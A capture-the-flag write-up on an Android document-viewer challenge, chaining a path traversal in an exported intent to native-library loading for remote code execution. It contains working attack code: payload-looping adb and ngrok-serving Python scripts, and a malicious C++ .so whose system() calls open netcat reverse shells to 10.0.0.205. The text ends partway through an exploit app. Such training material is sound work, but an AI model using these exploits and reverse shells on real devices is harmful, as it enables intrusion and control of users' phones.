Mobile Hacking Lab - Document Viewer

Path Traversal to Dynamic Code Loading for RCE in Android: A Mobile Hacking Lab CTF Challenge

Another thrilling challenge from Mobile Hacking Lab! This one captivated me from start to finish. It took a good while and plenty of trial and error to crack it, but pulling it off was super rewarding. It always fascinates me how a path traversal can open the door to remote code execution through dynamic code loading. It was a cool experience that pushed my limits and seriously boosted my understanding of how to turn simple vulnerabilities into a more complex exploits.

You can access the challenge here: Mobile Hacking Lab - Document Viewer

The Challenge Overview

The challenge “Document Viewer” takes place in an Android app’s document viewing feature. The goal is simple, find a path traversal vulnerability and chain it to a dynamic code loading issue to achieve Remote Code Execution (RCE) on the device, highlighting a crucial oversight in the secure handling of document rendering and library management within the mobile app. Ready?

Discovery Phase

Upon launching the app, we’re welcomed by a straightforward UI featuring a button designed to load a locally stored PDF.

Next, I deployed my tool, Deeeeper, which leverages APKtool to first decompile the application, and then it scans for activities.

Processing Activities:
com.mobilehackinglab.documentviewer.MainActivity (exported=true)
  android.intent.action.MAIN
  android.intent.action.VIEW
  file://
  http://
  https://

Deeeeper result is interesting. The Processing Activities describes the activities found on the MainActivity of the com.mobilehackinglab.documentviewer package. The details outline how this main activity is configured in terms of its interaction with different types of intents and data schemes.

  • Exported=true: This indicates that the MainActivity is accessible to other apps. An activity with exported=true can be started by components of other apps, which can be a security risk if not properly handled, especially when dealing with sensitive information and actions.
  • android.intent.action.MAIN: This is a standard category indicating that this activity serves as an entry point for the app. It’s what allows the activity to be launched directly from the launcher.
  • android.intent.action.VIEW: This shows that the activity is designed to handle a VIEW action, which means it can display data to the user. Activities that respond to this action can be invoked to present various types of content to the user.
  • file://, http://, https://: These are the data schemes the activity can handle. It suggests that the MainActivity is capable of opening and displaying content from these sources. Specifically:
    • file:// indicates it can open files stored locally on the device.
    • http:// and https:// indicate it can open web pages or online files over HTTP or HTTPS protocols.

Code Analysis #1

Let’s fire up jadx-gui and dig through the code to get a grip on how this app works. I won’t go over all the methods because it will take forever so I will only focus on what is interesting for the challenge.

MainActivity

onCreate

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
    Intrinsics.checkNotNullExpressionValue(inflate, "inflate(...)");
    this.binding = inflate;
    if (inflate == null) {
        Intrinsics.throwUninitializedPropertyAccessException("binding");
        inflate = null;
    }
    setContentView(inflate.getRoot());
    BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, null, null, new MainActivity$onCreate$1(this, null), 3, null);
    setLoadButtonListener();
    handleIntent();
    loadProLibrary();
    if (this.proFeaturesEnabled) {
        initProFeatures();
    }
}

As mentioned in my previous posts, onCreate is where the magic begins. This method is the launching pad for the activity’s lifecycle, setting up the initial state of the application.

  • Initialization Methods: The code calls several methods:
    • setLoadButtonListener(); sets up a listener for a button in the UI.
    • handleIntent(); Processes any intents that started the activity, handling incoming data.
    • loadProLibrary(); Start a library or functionality specific to the “pro” version of the app. Very suspicious!
  • Conditional Pro Features Initialization:
    • if (this.proFeaturesEnabled) { initProFeatures(); } checks if pro features are enabled. If the value is true, it starts the pro features through initProFeatures();.

setLoadButtonListener

[...]
public static final void setLoadButtonListener$lambda$3(MainActivity this$0, View it) {
    Intrinsics.checkNotNullParameter(this$0, "this$0");
    ActivityResultLauncher<String> activityResultLauncher = this$0.getContent;
    if (activityResultLauncher == null) {
        Intrinsics.throwUninitializedPropertyAccessException("getContent");
        activityResultLauncher = null;
    }
    activityResultLauncher.launch("application/pdf");
}

This code is helpful because it gives us what the application is expecting as MIME. Will be useful for crafting our exploit ;)

  • activityResultLauncher.launch("application/pdf"): This invokes the launcher to start an activity that can handle the intent with the action to load a PDF file ("application/pdf"). The string argument specifies the type of content that the activity should handle.

Let’s see how the handleIntent method works…

handleIntent

private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
        CopyUtil.Companion.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
            {
                super(1);
            }
            public Unit invoke(Uri uri) {
                invoke2(uri);
                return Unit.INSTANCE;
            }
            public final void invoke2(Uri uri) {
                MainActivity mainActivity = MainActivity.this;
                Intrinsics.checkNotNull(uri);
                mainActivity.renderPdf(uri);
            }
        }));
    }
}

This code is designed to handle incoming Intent,with a method named handleIntent(). We can see that a method named renderPdf(). It copy the document from the provided URI to a local storage location and then rendering the pdf onto the screen.

  • Retrieve the Current Intent: The method begins by retrieving the current Intent that started the activity using getIntent()
  • Extract Action and Data from the Intent: It extracts the action string with getAction() and the data URI with getData() from the intent. These are used to determine what the intent wants the app to do and possibly provide the data to act upon.
  • Check Intent Action and Data: The code checks if the action of the intent is android.intent.action.VIEW. It also checks if the data URI is not NULL to ensure there’s data to process.
  • Copy File from URI: If the conditions are met, it attempts to copy the file pointed to by the data URI using CopyUtil.Companion.copyFileFromUri(data). This suggests that the app copies the file from the given URI to a local location where it can be accessed.
  • Observing the Copy Operation: The observe method is used to watch for the completion of the file copy operation. Upon completion, an anonymous class implementing Function1<Uri, Unit> interface is provided as an observer. This observer’s invoke method is called with the URI of the copied file as its argument.
  • Rendering the PDF: Inside the invoke method, there’s a call to mainActivity.renderPdf(uri), passing the URI of the copied file. Once the file copy operation is successful, the app attempts to render the PDF referred to by the URI.

Next, we have the loadProLibrary

loadProLibrary

private final void loadProLibrary() {
    try {
        String abi = Build.SUPPORTED_ABIS[0];
        File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
        File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
        System.load(libraryFile.getAbsolutePath());
        this.proFeaturesEnabled = true;
    } catch (UnsatisfiedLinkError e) {
        Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
        this.proFeaturesEnabled = false;
    }
}

The loadProLibrary method dynamically load a native library at runtime, specifically a library that unlock the ‘Pro’ version.

  • Determining the Device’s ABI: It starts by determining the device’s Application Binary Interface (ABI) with Build.SUPPORTED_ABIS[0]. The ABI tells how an application’s machine code interacts with the system, and choosing the first ABI from the supported list placed at index 0. This ABI information is used to load the correct version of the native library compatible with the device’s architecture.
  • Locating the Library File: The method constructs a path to where the library is expected to be located. It does this by creating a File object for a directory inside the application’s private file space (getFilesDir()), appending “native-libraries/” and the ABI to form a path. Inside this directory, it expects to find the library file named libdocviewer_pro.so.
  • Loading the Library: With the absolute path to the library file, it attempts to load the library using System.load(libraryFile.getAbsolutePath()). This call dynamically links the specified library with the application at runtime.
  • Handling Success and Failure: If the library loads successfully, the method sets a boolean field proFeaturesEnabled to true, indicating that Pro features should be available within the application.
  • If the library fails to load, which could happen if the library file doesn’t exist, isn’t compatible with the device’s ABI, or other reasons, an UnsatisfiedLinkError is caught. The catch block logs an error message indicating the failure to load the library and sets proFeaturesEnabled to false, implying that the Pro features will not be available, and the application should operate in a ‘Free’ or reduced functionality mode.

Might be our path to the dynamic code loading issue? Let’s keep a note and come back later…

Dynamic Test: Initial Understanding

My strategy was to first find the path traversal vulnerability. I decided to see how the app reacted during a simple PDF upload using one of the intent. I pushed a PDF file in /sdcard/Download on the device using adb and I went ahead and used file:// for the test. I also had to use the -t argument to specify the Content-Type, as expected by the application.

Before sending the adb command, I started pidcat to see what was going on under the hood.

adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload1.pdf -t application/pdf com.mobilehackinglab.documentviewer

pidcat log was interesting from the get go. We can see the initial call the app makes to check if proFeaturesEnabled is enabled. It’s trying to read the libdocviewer_pro.so file we saw earlier located at:

/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/

The file is obviously not present in it’s location…

Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)
E  java.lang.UnsatisfiedLinkError: dlopen failed: library "/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so" not found

I scrolled down pidcat. There’s and error: Error rendering PDF: file:///storage/emulated/0/Download/payload1.pdf

I had to go back in jadx-gui and look at the code again…

Code Analysis #2

CopyUtil

The CopyUtil class is designed for file manipulation operations. It can copy files either from the application’s assets or from a URI to a more accessible location, typically the Download directory of the device.

public final MutableLiveData<Uri> copyFileFromAssets(Context context, String fileName) {
    Intrinsics.checkNotNullParameter(context, "context");
    Intrinsics.checkNotNullParameter(fileName, "fileName");
    AssetManager assetManager = context.getAssets();
    File outFile = new File(CopyUtil.DOWNLOADS_DIRECTORY, fileName);
    MutableLiveData liveData = new MutableLiveData();
    BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromAssets$1(outFile, assetManager, fileName, liveData, null), 2, null);
    return liveData;
}
  • copyFileFromAssets(Context context, String fileName): This method copies a file from the application’s assets to the downloads directory. It takes the application Context and the asset fileName as parameters. The method constructs the output file path in the downloads directory, launches a coroutine on the IO dispatcher for asynchronous execution, and returns a MutableLiveData<Uri> that will be updated with the URI of the copied file or an error.
public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
    Intrinsics.checkNotNullParameter(uri, "uri");
    URL url = new URL(uri.toString());
    File file = CopyUtil.DOWNLOADS_DIRECTORY;
    String lastPathSegment = uri.getLastPathSegment();
    if (lastPathSegment == null) {
        lastPathSegment = "download.pdf";
    }
    File outFile = new File(file, lastPathSegment);
    MutableLiveData liveData = new MutableLiveData();
    BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromUri$1(outFile, url, liveData, null), 2, null);
    return liveData;
}
  • copyFileFromUri(Uri uri): Similar to copyFileFromAssets, but this method copies a file from a given URI. It constructs a URL object from the URI’s string representation, generates an output file path based on the URI’s last path segment (defaulting to “download.pdf” if none is found), launches a coroutine for the copy operation, and returns a MutableLiveData<Uri> for the result.

NOTE: DOWNLOADS_DIRECTORY: Both methods static final field initialized with the path to the device’s external downloads directory. This is where copied files will be stored. The directory is set once when the class is loaded.

CopyUtil$Companion$copyFileFromAssets$1

The CopyUtil$Companion$copyFileFromAssets$1 copy a file from the application’s assets to a local file and notify about the operation’s success or failure using LiveData.

public final Object invokeSuspend(Object obj) {
    String str;
    IntrinsicsKt.getCOROUTINE_SUSPENDED();
    switch (this.label) {
        case 0:
            ResultKt.throwOnFailure(obj);
            try {
                File $this$invokeSuspend_u24lambda_u241 = this.$outFile.getParentFile();
                if ($this$invokeSuspend_u24lambda_u241 != null) {
                    if (!(!$this$invokeSuspend_u24lambda_u241.exists())) {
                        $this$invokeSuspend_u24lambda_u241 = null;
                    }
                    if ($this$invokeSuspend_u24lambda_u241 != null) {
                        $this$invokeSuspend_u24lambda_u241.mkdirs();
                    }
                }
                InputStream open = this.$assetManager.open(this.$fileName);
                InputStream inputStream = open;
                FileOutputStream fileOutputStream = new FileOutputStream(this.$outFile);
                FileOutputStream outputStream = fileOutputStream;
                Intrinsics.checkNotNull(inputStream);
                ByteStreamsKt.copyTo$default(inputStream, outputStream, 0, 2, null);
                CloseableKt.closeFinally(fileOutputStream, null);
                CloseableKt.closeFinally(open, null);
                this.$liveData.postValue(Uri.fromFile(this.$outFile));
            } catch (Exception e) {
                str = CopyUtil.TAG;
                Log.e(str, "Error copying file from: assets://" + this.$fileName, e);
                this.$liveData.postValue(Uri.EMPTY);
            }
            return Unit.INSTANCE;
        default:
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
    }
}

File Copy Assets

  • Parent Directory Preparation:
    • Retrieves the parent directory of the designated output file (this.$outFile.getParentFile()).
    • Checks if the directory exists. If it doesn’t, it attempts to create the directory (and any necessary parent directories) with mkdirs().
  • Opening Asset File:
    • Attempts to open an InputStream from the assets using this.$assetManager.open(this.$fileName), targeting the file specified by this.$fileName.
  • Setting up File Output:
    • Prepares a FileOutputStream for the output file (this.$outFile), where the asset’s contents will be written.
  • File Copying:
    • Performs the actual copying of data from the InputStream to the FileOutputStream using ByteStreamsKt.copyTo$default(...). This utility function copies all bytes from the source to the destination, handling buffer allocation and looping internally.

This is what I’m trying to achieve. Copying a local file from the device to the Download directory. With that in mind, I decided to try to read proc/cpuinfo. If I can read it, it will copy the file in the Download directory.

Dynamic Test: Path traversal #2

With this information, I built a simple python script to check if I could read any file from the device. It goes through a list of path traversal payloads. If things go as plan, it should save the cpuinfo file in /Download.

Based off the previous script I used in another Mobile Hacking Lab, it was easy to tweak.

import argparse
import subprocess
import time

def construct_adb_command(payload):
    return f'adb shell am start -a android.intent.action.VIEW -d "file:///{payload}/proc/cpuinfo" -t application/pdf com.mobilehackinglab.documentviewer'

def read_payloads(file_path):
    with open(file_path, 'r') as file:
        return file.readlines()

def main(file_path):
    payloads = read_payloads(file_path)
    for payload in payloads:
        payload = payload.strip()
        adb_command = construct_adb_command(payload)
        print(f"Running: {adb_command}")
        subprocess.run(adb_command, shell=True)
        time.sleep(5)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Run ADB commands with Path Traversal payloads.')
    parser.add_argument('file_path', type=str, help='Path to the file containing Path Traversal payloads.')
    args = parser.parse_args()
    main(args.file_path)

Now, I only had to monitor the device to see if the cpuinfo file magically appears in the Download directory.

After a very short period of time…

The file appeared! Confirming the path traversal vulnerability!

I checked pidcat and saw the path and the cpuinfo file:

I checked the file on the device:

Awesome, we know that there’s a path traversal…

The Game Plan

Alright, the path traversal is confirmed. The next step is to chain this with Remote Command Execution. We know that the application is calling loadProLibrary(); and check the folder:

/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/

to see if the file libdocviewer_pro.so is present.

What if we can create our own libdocviewer_pro.so file and write it to:

/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/ ?

The application would run the file at runtime give us RCE. We could use the https or http call for that.

Let’s go back to jadx-gui once again to analyze those class.

Code Analysis #3

CopyUtil$Companion$copyFileFromUri$1

The CopyUtil$Companion$copyFileFromUri$1 copy a file from a given URL to a local file and post the result using LiveData.

public final Object invokeSuspend(Object obj) {
    String str;
    IntrinsicsKt.getCOROUTINE_SUSPENDED();
    switch (this.label) {
        case 0:
            ResultKt.throwOnFailure(obj);
            try {
                File $this$invokeSuspend_u24lambda_u241 = this.$outFile.getParentFile();
                if ($this$invokeSuspend_u24lambda_u241 != null) {
                    if (!(!$this$invokeSuspend_u24lambda_u241.exists())) {
                        $this$invokeSuspend_u24lambda_u241 = null;
                    }
                    if ($this$invokeSuspend_u24lambda_u241 != null) {
                        $this$invokeSuspend_u24lambda_u241.mkdirs();
                    }
                }
                if (Intrinsics.areEqual(this.$url.getProtocol(), "file")) {
                    InputStream openStream = this.$url.openStream();
                    InputStream inputStream = openStream;
                    FileOutputStream fileOutputStream = new FileOutputStream(this.$outFile);
                    FileOutputStream outputStream = fileOutputStream;
                    Intrinsics.checkNotNull(inputStream);
                    ByteStreamsKt.copyTo$default(inputStream, outputStream, 0, 2, null);
                    CloseableKt.closeFinally(fileOutputStream, null);
                    CloseableKt.closeFinally(openStream, null);
                } else {
                    URLConnection openConnection = this.$url.openConnection();
                    Intrinsics.checkNotNull(openConnection, "null cannot be cast to non-null type java.net.HttpURLConnection");
                    HttpURLConnection connection = (HttpURLConnection) openConnection;
                    connection.connect();
                    BufferedInputStream bufferedInputStream = new BufferedInputStream(connection.getInputStream());
                    BufferedInputStream inputStream2 = bufferedInputStream;
                    FileOutputStream fileOutputStream2 = new FileOutputStream(this.$outFile);
                    FileOutputStream outputStream2 = fileOutputStream2;
                    ByteStreamsKt.copyTo$default(inputStream2, outputStream2, 0, 2, null);
                    CloseableKt.closeFinally(fileOutputStream2, null);
                    CloseableKt.closeFinally(bufferedInputStream, null);
                    connection.disconnect();
                }
                this.$liveData.postValue(Uri.fromFile(this.$outFile));
            } catch (Exception e) {
                str = CopyUtil.TAG;
                Log.e(str, "Error copying file from: " + this.$url, e);
                this.$liveData.postValue(Uri.EMPTY);
            }
            return Unit.INSTANCE;
        default:
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
    }
}

File Copy URI

  • Initial File Handling:
    • Checks if the parent directory of the output file (this.$outFile.getParentFile()) exists. If it doesn’t, the method attempts to create the directories (mkdirs()).
  • File Copying Based on Protocol:
    • If the protocol of the URL (this.$url.getProtocol()) is “file”, it treats the URL as a local file. It opens an InputStream from the URL and copies it to the output file using a FileOutputStream.
    • If the protocol is not “file”, it assumes it needs to handle a network request. It opens a connection (this.$url.openConnection()), casts it to HttpURLConnection, connects, and reads the input stream through a BufferedInputStream. The content is then copied to the output file.
  • Common File Copying Operations:
    • Regardless of the protocol, file copying involves reading from an InputStream and writing to a FileOutputStream. The actual copying is performed by ByteStreamsKt.copyTo$default(...)
  • Posting Results:
    • After copy, it posts the URI of the output file to the provided LiveData (this.$liveData).
    • In case of any exceptions during the file copying process, it logs the error using Log.e(...) and posts an empty URI (Uri.EMPTY) to signify failure.

Okay, we can go back to our game plan…

Dynamic Test: Copying External File to Target

The strategy in this section is to successfully write a file in the target directory:

/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/

It needs to accept the file from a remote URI, one that we control, and write the file using the path traversal found in the previous section.

Now, after lots of trial and error, I built a script to automate the process to save time when trying different payloads.

Instead of writing each steps individually, I’ll go over the script by section.

Steps the we need to do:

  1. Create a test.pdf file
  2. Start a python server
  3. Forward that server to Ngrok public address
  4. Run adb command with path traversal list and Ngrok address

It was tricky because the URI wasn’t parsed as it should during the GET request.

Building the Script

Lets start by importing the libraries:

  • logging
  • command-line argument parsing
  • HTTP server functionality
  • signal handling
  • system operations
  • ngrok integration
  • time functions
  • subprocess management
  • terminal coloring (need that color right?)
  • import threading
  • import mimetypes
  • import os
import logging
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import signal
import sys
from pyngrok import ngrok
import time
import subprocess
from colorama import init, Fore, Style
import threading
import mimetypes
import os

Initializes Colorama for the beautiful colors:

init(autoreset=True)

The preload_file class method loads the file into memory, determining its size and MIME type for appropriate serving. The do_GET method serves the loaded file with its correct MIME type or returns a 404 error if no file is loaded.

class MyEnhancedServer(BaseHTTPRequestHandler):
    file_content = None
    file_size = 0
    file_mime_type = 'application/octet-stream'

    @classmethod
    def preload_file(cls, file_path):
        try:
            with open(file_path, 'rb') as file:
                cls.file_content = file.read()
                cls.file_size = len(cls.file_content)
                cls.file_mime_type, _ = mimetypes.guess_type(file_path)
                if cls.file_mime_type is None:
                    cls.file_mime_type = 'application/octet-stream'
                logging.info(f"{Fore.GREEN}File preloaded successfully: {file_path}")
        except IOError as e:
            logging.error(f"{Fore.RED}Failed to load file: {e}")
            sys.exit(1)

    def do_GET(self):
        if MyEnhancedServer.file_content:
            self.send_response(200)
            self.send_header('Content-Type', MyEnhancedServer.file_mime_type)
            self.send_header('Content-Length', str(MyEnhancedServer.file_size))
            self.end_headers()
            self.wfile.write(MyEnhancedServer.file_content)
        else:
            self.send_error(404, 'File Not Found')

Captures SIGINT or CTRL-C signals for termination, making sure any active Ngrok tunnels are disconnected:

def signal_handler(signal_received, frame):
    logging.info(f'{Fore.YELLOW}SIGINT or CTRL-C detected. Exiting gracefully.')
    ngrok.disconnect(public_url)
    sys.exit(0)

Starts the HTTP server, sets up Ngrok tunnel, and prints the public URL, also starts a new thread to execute ADB commands using the Ngrok URL without blocking the server and handles signals for shutdowns:

def start_server_and_ngrok(port, file_path, payload_path):
    MyEnhancedServer.preload_file(file_path)
    server_address = ('', port)
    httpd = HTTPServer(server_address, MyEnhancedServer)
    logging.info(f'{Fore.CYAN}Starting httpd on port {port}...')
    
    public_url = ngrok.connect(port, "http").public_url
    print(f"{Fore.MAGENTA}Public URL: {public_url}")

    threading.Thread(target=execute_subprocess_with_ngrok_url, args=(public_url, payload_path, file_path)).start()

    try:
        signal.signal(signal.SIGINT, signal_handler)
        httpd.serve_forever()
    except KeyboardInterrupt:
        print(f"{Fore.RED}Shutting down server and Ngrok tunnel.")
    finally:
        ngrok.disconnect(public_url)
        httpd.server_close()

Now, reading payloads from a file, constructing ADB commands using these payloads. The execute_subprocess_with_ngrok_url function iterates through each payload, constructs the command, and runs it in a subprocess. The target directory uses URL encoded character since it’s over the network

def read_payloads(file_path):
    with open(file_path, 'r') as file:
        return file.readlines()

def construct_adb_command(ngrok_url, payload, file_name):
    return f'adb shell am start -a android.intent.action.VIEW -d "{ngrok_url}/{payload}data%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2F{file_name}" -t application/pdf com.mobilehackinglab.documentviewer'

def execute_subprocess_with_ngrok_url(ngrok_url, payload_file_path, file_path):
    payloads = read_payloads(payload_file_path)
    file_name = os.path.basename(file_path)
    for payload in payloads:
        time.sleep(5)
        payload = payload.strip()
        adb_command = construct_adb_command(ngrok_url, payload, file_name)
        print(f"{Fore.GREEN}Running: {adb_command}")
        subprocess.run(adb_command, shell=True)

Finally, set up argument parsing for the server port and PDF path, path for payload list, configures logging, and starts the server with Ngrok:

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='HTTP Server to serve any type of file')
    parser.add_argument('--port', type=int, default=1337, help='Port to listen on')
    parser.add_argument('--file', type=str, required=True, help='Path to the file to serve')
    parser.add_argument('--payload', type=str, required=True, help='Path to the file containing Path Traversal payloads.')
    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO)
    start_server_and_ngrok(args.port, args.file, args.payload)

The full script:

import logging
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import signal
import sys
from pyngrok import ngrok
import time
import subprocess
from colorama import init, Fore, Style
import threading
import mimetypes
import os

init(autoreset=True)

class MyEnhancedServer(BaseHTTPRequestHandler):
    file_content = None
    file_size = 0
    file_mime_type = 'application/octet-stream'

    @classmethod
    def preload_file(cls, file_path):
        try:
            with open(file_path, 'rb') as file:
                cls.file_content = file.read()
                cls.file_size = len(cls.file_content)
                cls.file_mime_type, _ = mimetypes.guess_type(file_path)
                if cls.file_mime_type is None:
                    cls.file_mime_type = 'application/octet-stream'
                logging.info(f"{Fore.GREEN}File preloaded successfully: {file_path}")
        except IOError as e:
            logging.error(f"{Fore.RED}Failed to load file: {e}")
            sys.exit(1)

    def do_GET(self):
        if MyEnhancedServer.file_content:
            self.send_response(200)
            self.send_header('Content-Type', MyEnhancedServer.file_mime_type)
            self.send_header('Content-Length', str(MyEnhancedServer.file_size))
            self.end_headers()
            self.wfile.write(MyEnhancedServer.file_content)
        else:
            self.send_error(404, 'File Not Found')

def signal_handler(signal_received, frame):
    logging.info(f'{Fore.YELLOW}SIGINT or CTRL-C detected. Exiting gracefully.')
    ngrok.disconnect(public_url)
    sys.exit(0)

def start_server_and_ngrok(port, file_path, payload_path):
    MyEnhancedServer.preload_file(file_path)
    server_address = ('', port)
    httpd = HTTPServer(server_address, MyEnhancedServer)
    logging.info(f'{Fore.CYAN}Starting httpd on port {port}...')
    
    public_url = ngrok.connect(port, "http").public_url
    print(f"{Fore.MAGENTA}Public URL: {public_url}")

    threading.Thread(target=execute_subprocess_with_ngrok_url, args=(public_url, payload_path, file_path)).start()

    try:
        signal.signal(signal.SIGINT, signal_handler)
        httpd.serve_forever()
    except KeyboardInterrupt:
        print(f"{Fore.RED}Shutting down server and Ngrok tunnel.")
    finally:
        ngrok.disconnect(public_url)
        httpd.server_close()

def read_payloads(file_path):
    with open(file_path, 'r') as file:
        return file.readlines()

def construct_adb_command(ngrok_url, payload, file_name):
    return f'adb shell am start -a android.intent.action.VIEW -d "{ngrok_url}/{payload}data%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2F{file_name}" -t application/pdf com.mobilehackinglab.documentviewer'

def execute_subprocess_with_ngrok_url(ngrok_url, payload_file_path, file_path):
    payloads = read_payloads(payload_file_path)
    file_name = os.path.basename(file_path)
    for payload in payloads:
        time.sleep(5)
        payload = payload.strip()
        adb_command = construct_adb_command(ngrok_url, payload, file_name)
        print(f"{Fore.GREEN}Running: {adb_command}")
        subprocess.run(adb_command, shell=True)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='HTTP Server to serve any type of file')
    parser.add_argument('--port', type=int, default=1337, help='Port to listen on')
    parser.add_argument('--file', type=str, required=True, help='Path to the file to serve')
    parser.add_argument('--payload', type=str, required=True, help='Path to the file containing Path Traversal payloads.')
    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO)
    start_server_and_ngrok(args.port, args.file, args.payload)

NOTE: For this to work with Ngrok, you have to get a paid account or add a specific header that Ngrok will recognize to skip the annoying landing page. Here’s what I did

Proxy the phone traffic to burp from the device and add a simple matching rule:

Now, let’s run it to see what happens!

Monitoring all the requests in burp, I got a 200 OK with this request:

GET /..%2f..%2f..%2f..%2f..%2fdata%2Fuser%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Ftest.pdf HTTP/2
Host: 2ffa-2607-fa49-9000-6800-6988-8f9-4d8-ce8a.ngrok-free.app
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Android SDK built for arm64 Build/PSR1.210301.009.B6)
Connection: Keep-Alive
Accept-Encoding: gzip, deflate, br
Ngrok-Skip-Browser-Warning: 13370

I checked on the device and the test.pdf was in the directory!

Everything is working, it’s time to go for the RCE :)

Remote Command Execution

Initializing the Library for Android Applications

For an Android application to utilize functions defined in a native library, it must first bring the library into the application’s memory space.

This is accomplished through this API call from the loadProLibrary() method:

System.load(libraryFile.getAbsolutePath());

We already know that the application is calling the libdocviewer_pro.so but it’s missing. I built a malicious libdocviewer_pro.so to exploit the RCE.

Let’s skip the fluff and go right into the good stuff.

I built the .so using Android Studio. I made a clone of the Document Viewer app and added C++ support to build the lib.

Step 1: Include Necessary Headers

#include <jni.h>
#include <cstdlib>
#include <string>
  • jni.h: Header file for the JNI. It’s required for any native method implementations that interact with Java code.
  • cstdlib: Header file that includes functions for general-purpose functions such as memory allocation, process control, conversions, etc.
  • string: Header for the std::string class, which is used to handle strings in C++.

Step 2: Define the Native Method

extern "C" JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env) {
  • extern "C": Specifies linkage for the C programming language, which is necessary for JNI so that the Java virtual machine (JVM) can locate and link the native method.
  • JNIEXPORT and JNICALL: Macros defined by JNI that ensure compatibility across different platforms.
  • void: The return type of the function, indicating that this method does not return any value.
  • Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures: The method name that JNI uses to map the native method to the Java method. It includes the package name (com_mobilehackinglab_documentviewer), class name (MainActivity), and the method name (initProFeatures) because that’s what we’re targeting.
  • JNIEnv* env: A pointer to the JNI environment, which provides functions that allow native code to interface with Java.

Step 3: Declare and Execute Commands

std::string command1 = "toybox nc 10.0.0.205 8083 | sh";
  • Since Android is very limited, I had to use toybox to call nc for the reverse shell and pipe any incoming data to the shell (sh).

The tricky part:

std::string command2 = "tail -n 0 -f /data/data/com.mobilehackinglab.documentviewer/1 | /bin/sh -i 2>&1 | toybox nc 10.0.0.205 8084 1> /data/data/com.mobilehackinglab.documentviewer/1";
  • This command sets up reverse shell by monitoring a file (/data/data/com.mobilehackinglab.documentviewer/1) for changes and executing any commands appended to it. The output is piped back to a remote listener via toybox nc on port 8084.

This approach was based off this very interesting article by Project Zero: Project Zero - MMS Exploit Part 5: Defeating Android ASLR, Getting RCE

system(command1.c_str());
system(command2.c_str());
  • These lines execute the commands stored in command1 and command2 using the system() function, which passes the command to the host environment to be executed by the command processor.

Final: The Malicious libdocviewer_pro.so Code

#include <jni.h>  
#include <cstdlib>  
#include <string>  

extern "C" JNIEXPORT void JNICALL  
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env) {  

std::string command1 = "toybox nc 10.0.0.205 8083 | sh";  
  
std::string command2 = "tail -n 0 -f /data/data/com.mobilehackinglab.documentviewer/1 | /bin/sh -i 2>&1 | toybox nc 10.0.0.205 8084 1> /data/data/com.mobilehackinglab.documentviewer/1";  
  
system(command1.c_str());  
system(command2.c_str());  
}

Now, just need to click on Build > Generate Singed Bundle / APK ...

Open the local directory the APK is located, use apktool to decompile the APK and navigate to the lib directory.

Rename the file to libdocviewer_pro

Testing the libdocviewer_pro.so

We can use the python script for this. Let’s run it:

Check if the file is saved in data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/

We just need to setup 2 listeners for the reverse shell:

nc -lnv 8083


nc -lnv 8084

Let’s fire the application… and we get a connection back! it’s a very limited shell but still a shell :)

The Malicious Application

Now that I have everything in place, I built a small application to exploit:

  1. The path traversal
  2. download the malicious libdocviewer_pro.so file
  3. save it in: data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/.

The user only need to open the Document Viewer app to trigger the shell.

Here’s the full code for the malicious application:

package com.documentviewer.poc

import android.annotation.SuppressLint
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity

class DirectoryTraversalExploitActivity : AppCompatActivity() {
    @SuppressLint("SetTextI18n")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_directory_traversal_exploit)

        val tvExploitStatus: TextView = findViewById(R.id.tvExploitStatus)
        tvExploitStatus.text = "Exploit Status: Attempting..."

        executeExploit()
    }

    private fun executeExploit() {
        val targetComponent = TargetComponent(
            "com.mobilehackinglab.documentviewer",
            "com.mobilehackinglab.documentviewer.MainActivity"
        )

